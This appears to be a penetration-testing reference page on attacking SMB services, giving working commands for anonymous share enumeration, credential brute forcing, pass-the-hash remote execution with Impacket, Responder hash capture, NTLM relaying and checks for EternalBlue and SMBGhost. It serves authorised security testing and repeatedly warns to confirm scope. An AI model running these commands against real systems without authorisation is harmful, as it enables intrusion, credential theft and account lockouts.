139 & 445 - SMB (Server Message Block)

Default Ports: 139 (NetBIOS), 445 (SMB over TCP) SMB is the backbone of file sharing and authentication in Windows networks, which makes it one of the highest-value services to enumerate on almost any internal engagement. A huge amount of Active Directory attack surface, shares, users, password policy, even remote code execution, sits behind this one protocol.

Null / Anonymous Session

No credentials at all. Plenty of SMB servers still allow a null session for basic enumeration, worth checking before anything else.

Authenticated

A valid username and password, or an NTLM hash via pass-the-hash. Opens up share access, RCE, and credential dumping depending on privileges.

For spraying credentials and running bulk enumeration across many hosts at once, NetExec covers that ground in more depth. This page focuses on SMB-specific tools and techniques.

Enumerating Shares

The first real step on any SMB target is finding out what shares exist and what you can actually read or write to. A few tools cover this, each with a slightly different strength.

smbclient
smbmap
enum4linux
Impacket

Always worth trying a null session first, since it costs nothing and plenty of servers still allow it:

smbclient -N -L //TARGET

Once you know a share name, connect to it directly. recurse ON plus mget * pulls everything down in one go instead of browsing file by file:

smbclient //TARGET/SHARE
smb: \> recurse ON
smb: \> mget *

smbmap lays out share permissions more clearly than smbclient, read/write access per share in one table.

smbmap -H TARGET -r                        # null session, recursive listing
smbmap -H TARGET -u USER -p PASS -r          # authenticated

Download and upload work the same way once you’ve found a writable share:

smbmap -H TARGET --download "SHARE\file"
smbmap -H TARGET --upload LOCAL_FILE "SHARE\file"

enum4linux-ng pulls together users, groups, shares, and password policy in one pass, a solid first command to run against any SMB target.

enum4linux -A TARGET
enum4linux -A -u USER -p PASS TARGET

samrdump.py enumerates usernames through the SAM remote protocol, useful even without valid credentials in some configurations.

samrdump.py TARGET

Bulk-checking many anonymous shares at once

When you’ve got a list of possible share names to check against a target, this loops through each one and reports which are actually accessible:

while read share; do
  smbclient -N //TARGET/$share -c 'ls' /dev/null 2>&1 && echo "[+] Found accessible share: $share"
done < shares.txt

RPCClient

rpcclient gives you an interactive session for querying domain and user information directly over MS-RPC, useful when you want specific details rather than a full automated enumeration pass.

rpcclient -U "%" TARGET

Once connected, these are the queries worth knowing:

Command	Description
`srvinfo`	Server information
`enumdomains`	Enumerate domains deployed on the network
`querydominfo`	Domain, server, and user information
`enumdomusers`	Enumerate all domain users
`queryuser <RID>`	Details on a specific user by RID
`querygroup <GID>`	Details on a specific group
`netshareenumall`	Enumerate all available shares
`netsharegetinfo <share>`	Details on a specific share

Remote Code Execution

With valid credentials, whether a password or an NTLM hash, SMB becomes a direct path to command execution on the target. Impacket’s psexec.py is the standard tool for this.

impacket-psexec DOMAIN/USER:PASSWORD@TARGET cmd.exe
impacket-psexec -hashes LMHASH:NTHASH USER@TARGET      # pass-the-hash, no plaintext password needed

smbexec.py achieves the same thing through a different technique, worth having as a fallback if psexec gets flagged:

smbexec.py USER:PASSWORD@TARGET

Brute Forcing

hydra -l USER -P passwords.txt smb://TARGET

Authentication Attacks

Both of these intercept or relay live authentication traffic on the network. They’re far more intrusive than passive enumeration, confirm scope covers active attacks before running either.

Responder listens on the network and catches NTLM hashes from hosts broadcasting authentication requests, often triggered by a mistyped share path or a poisoned LLMNR/NBT-NS response.

sudo responder -I INTERFACE

Captured hashes land under /usr/share/responder/logs/, ready to crack offline or relay directly instead:

impacket-ntlmrelayx --no-http-server -smb2support -t TARGET

Add -c "COMMAND" to ntlmrelayx to execute a command, like launching a reverse shell, on successful relay instead of just dumping hashes.

Nmap Enumeration

nmap -p445 --script smb-protocols TARGET          # supported SMB protocol versions
nmap -p445 --script smb-security-mode TARGET        # signing requirements and security mode
nmap -p445 --script smb-enum-users TARGET             # enumerate users
nmap -sV -sC --script=smb-vuln* TARGET                 # run every SMB vulnerability-check script at once

Known RCE Vulnerabilities

A handful of SMB vulnerabilities are common enough, and severe enough, that they’re worth checking for on sight rather than waiting for deeper enumeration.

Vulnerability	Description
MS08-067	Remote code execution in the Windows Server service, still occasionally found on legacy systems
MS17-010 (EternalBlue)	SMBv1 remote code execution, the vulnerability behind WannaCry; see AutoBlue-MS17-010
CVE-2020-0796 (SMBGhost)	SMBv3 compression vulnerability, pre-auth RCE on unpatched Windows 10/Server systems

nmap -p445 --script smb-vuln-ms17-010 TARGET

A positive hit on any of these is a critical finding. Confirm it carefully and report immediately rather than continuing to enumerate, especially on EternalBlue, where exploitation can crash the target.

Metasploit Modules

search name:smb                                      # list every SMB-related module
use auxiliary/scanner/smb/smb_version                  # fingerprint the SMB version
use auxiliary/scanner/smb/smb_enumshare                  # enumerate shares
use auxiliary/scanner/smb/smb_login                        # brute-force credentials
use exploit/windows/smb/psexec                               # authenticated RCE

Quick Reference Tools

Hackviser: SMB

Quick-reference pentesting guide for the SMB service.

HackTricks: SMB

Deeper breakdown of SMB enumeration, exploitation, and relay techniques.

Credential spraying, hash capture, and NTLM relaying are all high-impact actions that can lock out accounts or disrupt production authentication. Confirm scope before running anything beyond read-only enumeration.

Get Started

Web

Linux

Windows

Active Directory

Services & Protocols

Password Attacks

Lateral Movement

Techniques

Tools & Resources

139 & 445 - SMB (Server Message Block)

Null / Anonymous Session

Authenticated

Enumerating Shares

RPCClient

Remote Code Execution

Brute Forcing

Authentication Attacks

Nmap Enumeration

Known RCE Vulnerabilities

Metasploit Modules

Quick Reference Tools

Hackviser: SMB

HackTricks: SMB

Null / Anonymous Session

Authenticated

​Enumerating Shares

​RPCClient

​Remote Code Execution

​Brute Forcing

​Authentication Attacks

​Nmap Enumeration

​Known RCE Vulnerabilities

​Metasploit Modules

​Quick Reference Tools

Hackviser: SMB

HackTricks: SMB

Enumerating Shares

RPCClient

Remote Code Execution

Brute Forcing

Authentication Attacks

Nmap Enumeration

Known RCE Vulnerabilities

Metasploit Modules

Quick Reference Tools